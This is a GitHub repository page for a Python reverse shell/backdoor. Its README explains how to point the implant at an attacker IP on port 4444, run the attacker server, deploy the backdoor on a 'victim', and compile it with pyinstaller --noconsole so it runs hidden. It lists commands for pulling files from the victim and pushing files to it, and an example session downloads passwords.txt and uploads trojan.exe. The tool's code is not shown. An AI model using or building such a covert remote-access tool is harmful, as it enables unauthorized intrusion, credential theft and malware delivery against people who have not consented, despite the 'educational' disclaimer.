Skip to content

Folders and files

NameName
Last commit message
Last commit date

Latest commit

 

History

5 Commits
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

🛠️ Backdoor Connection Using Python

A lightweight reverse shell/backdoor built in Python for educational and authorized penetration testing purposes. It allows remote command execution, file transfer, and even capturing screenshots from a target machine.

⚠️ Disclaimer: This tool is created for educational and ethical use only. Use it only on systems you have explicit permission to test.


📌 Features

  • ✅ Remote shell access
  • ✅ Upload & download files
  • ✅ Change directories
  • ✅ Take screenshots remotely
  • ✅ Cross-platform (Windows/Linux/macOS)
  • ✅ Lightweight & easy to customize

📁 Project Structure

📦Backdoor-Connection-Using-Python
 ┣ 📜backdoor.py   # Script to be executed on the target machine
 ┣ 📜server.py     # Script run by the attacker to control the target
 ┗ 📜README.md     # Project documentation

⚙️ Requirements

  • Python 3.x
  • Pillow (for screenshots)

Install dependencies:

pip install pillow

🚀 Usage

1. Configure IP and Port

Update the following in both server.py and backdoor.py:

SERVER_IP = "YOUR.ATTACKER.IP"
SERVER_PORT = 4444

2. Run the Server (Attacker)

python3 server.py

Wait for the incoming connection.

3. Deploy the Backdoor (Victim)

python3 backdoor.py

Optionally, compile backdoor.py into an executable using pyinstaller:

pip install pyinstaller
pyinstaller --noconsole --onefile backdoor.py

💻 Available Commands

Once connected, use the following commands from the attacker's terminal:

Command Description
cd <path> Change directory on the victim's system
download <file> Download file from victim to attacker
upload <file> Upload file from attacker to victim
screenshot Capture and save screenshot
clear Clear the screen
quit Close the connection

🧪 Example Session

> cd Desktop
> download passwords.txt
> upload trojan.exe
> screenshot
> quit

📷 Screenshot Example

screenshot
Sample screenshot captured from target


🧠 Learning Outcomes

  • Python socket programming
  • Remote shell and command execution
  • File transmission over TCP
  • Screenshot capture using Pillow
  • Real-world ethical hacking tools

📜 License

This project is licensed under the MIT License.


🙋‍♂️ Author

Aryan Srivastava
GitHub Profile »


⭐ Star the repo if you found it useful!

About

A lightweight reverse shell/backdoor built in Python for educational and authorized penetration testing purposes. It allows remote command execution, file transfer, and even capturing screenshots from a target machine.

Resources

Stars

0 stars

Watchers

1 watching

Forks

Releases

Packages

Contributors

Languages